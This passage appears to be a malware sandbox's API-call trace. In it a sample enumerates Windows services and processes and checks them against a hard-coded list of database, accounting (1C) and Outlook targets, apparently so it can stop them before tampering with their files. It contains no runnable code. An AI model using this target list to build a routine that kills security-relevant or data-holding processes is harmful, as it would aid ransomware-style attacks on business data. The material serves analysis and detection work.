lpString2="RpcEptMapper") returned 1 [0244.193] lstrlenW (lpString="RpcSs") returned 5 [0244.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0244.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0244.193] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0244.193] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0244.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0244.193] lstrlenW (lpString="SamSs") returned 5 [0244.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0244.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0244.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0244.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0244.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0244.194] lstrlenW (lpString="Schedule") returned 8 [0244.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0244.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0244.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0244.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0244.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0244.194] lstrlenW (lpString="SENS") returned 4 [0244.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0244.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0244.194] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0244.194] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0244.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0244.194] lstrlenW (lpString="ShellHWDetection") returned 16 [0244.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.195] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0244.195] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0244.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0244.196] lstrlenW (lpString="Spooler") returned 7 [0244.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0244.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0244.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0244.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0244.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0244.196] lstrlenW (lpString="SysMain") returned 7 [0244.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0244.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0244.196] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0244.196] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0244.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0244.196] lstrlenW (lpString="Themes") returned 6 [0244.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0244.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0244.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0244.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0244.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0244.197] lstrlenW (lpString="TrkWks") returned 6 [0244.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0244.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0244.197] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0244.197] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0244.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0244.197] lstrlenW (lpString="UxSms") returned 5 [0244.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0244.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0244.197] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0244.197] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0244.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0244.198] lstrlenW (lpString="WdiServiceHost") returned 14 [0244.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0244.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0244.198] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0244.198] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0244.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0244.198] lstrlenW (lpString="Winmgmt") returned 7 [0244.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0244.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0244.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0244.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0244.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0244.199] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0244.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3cc [0244.203] Process32FirstW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.204] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.205] lstrlenW (lpString="System") returned 6 [0244.205] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0244.205] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0244.205] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0244.205] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0244.205] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0244.205] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0244.206] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0244.206] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.207] lstrlenW (lpString="smss.exe") returned 8 [0244.207] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0244.207] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0244.207] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0244.207] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0244.207] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0244.207] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0244.207] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0244.207] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.208] lstrlenW (lpString="csrss.exe") returned 9 [0244.208] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0244.208] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0244.208] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0244.209] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0244.209] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0244.209] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0244.209] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0244.209] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.210] lstrlenW (lpString="wininit.exe") returned 11 [0244.210] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0244.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0244.210] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0244.211] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0244.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0244.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0244.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0244.211] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.212] lstrlenW (lpString="csrss.exe") returned 9 [0244.212] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0244.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0244.212] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0244.212] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0244.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0244.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0244.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0244.213] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.214] lstrlenW (lpString="winlogon.exe") returned 12 [0244.214] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0244.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0244.214] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0244.214] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0244.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0244.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0244.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0244.214] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.215] lstrlenW (lpString="services.exe") returned 12 [0244.215] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0244.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0244.216] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0244.216] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0244.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0244.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0244.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0244.216] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.217] lstrlenW (lpString="lsass.exe") returned 9 [0244.217] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0244.217] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0244.217] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0244.217] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0244.217] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0244.217] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0244.217] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0244.217] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0244.218] lstrlenW (lpString="lsm.exe") returned 7 [0244.219] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0244.219] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0244.219] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0244.219] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0244.219] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0244.219] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0244.219] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0244.219] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.220] lstrlenW (lpString="svchost.exe") returned 11 [0244.220] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0244.220] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.221] lstrlenW (lpString="svchost.exe") returned 11 [0244.221] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.222] lstrlenW (lpString="svchost.exe") returned 11 [0244.222] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.223] lstrlenW (lpString="svchost.exe") returned 11 [0244.224] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.225] lstrlenW (lpString="svchost.exe") returned 11 [0244.225] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.226] lstrlenW (lpString="audiodg.exe") returned 11 [0244.401] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.589] lstrlenW (lpString="svchost.exe") returned 11 [0244.589] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.590] lstrlenW (lpString="explorer.exe") returned 12 [0244.590] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.591] lstrlenW (lpString="dwm.exe") returned 7 [0244.591] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.592] lstrlenW (lpString="svchost.exe") returned 11 [0244.592] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0244.593] lstrlenW (lpString="driver.exe") returned 10 [0244.593] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.594] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.594] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0244.595] lstrlenW (lpString="taskhost.exe") returned 12 [0244.595] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.596] lstrlenW (lpString="svchost.exe") returned 11 [0244.596] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0244.597] lstrlenW (lpString="reader_sl.exe") returned 13 [0244.598] Process32NextW (in: hSnapshot=0x3cc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0244.599] CloseHandle (hObject=0x3cc) returned 1 [0244.599] Sleep (dwMilliseconds=0x1f4) [0245.423] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0245.687] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0245.688] GetLastError () returned 0xea [0245.688] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xf76) returned 0x41d0998 [0245.688] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xf76, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0245.691] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0245.691] lstrlenW (lpString="Appinfo") returned 7 [0245.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0245.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0245.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0245.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0245.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0245.692] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0245.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.692] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0245.692] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0245.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0245.692] lstrlenW (lpString="AudioSrv") returned 8 [0245.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0245.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0245.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0245.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0245.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0245.694] lstrlenW (lpString="BFE") returned 3 [0245.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0245.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0245.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0245.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0245.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0245.695] lstrlenW (lpString="CryptSvc") returned 8 [0245.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0245.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0245.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0245.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0245.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0245.695] lstrlenW (lpString="CscService") returned 10 [0245.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0245.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0245.696] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0245.696] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0245.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0245.696] lstrlenW (lpString="DcomLaunch") returned 10 [0245.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0245.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0245.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0245.696] lstrlenW (lpString="Dhcp") returned 4 [0245.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0245.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0245.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0245.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0245.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0245.697] lstrlenW (lpString="Dnscache") returned 8 [0245.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0245.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0245.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0245.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0245.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0245.697] lstrlenW (lpString="DPS") returned 3 [0245.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0245.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0245.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0245.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0245.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0245.698] lstrlenW (lpString="eventlog") returned 8 [0245.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0245.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0245.698] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0245.698] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") 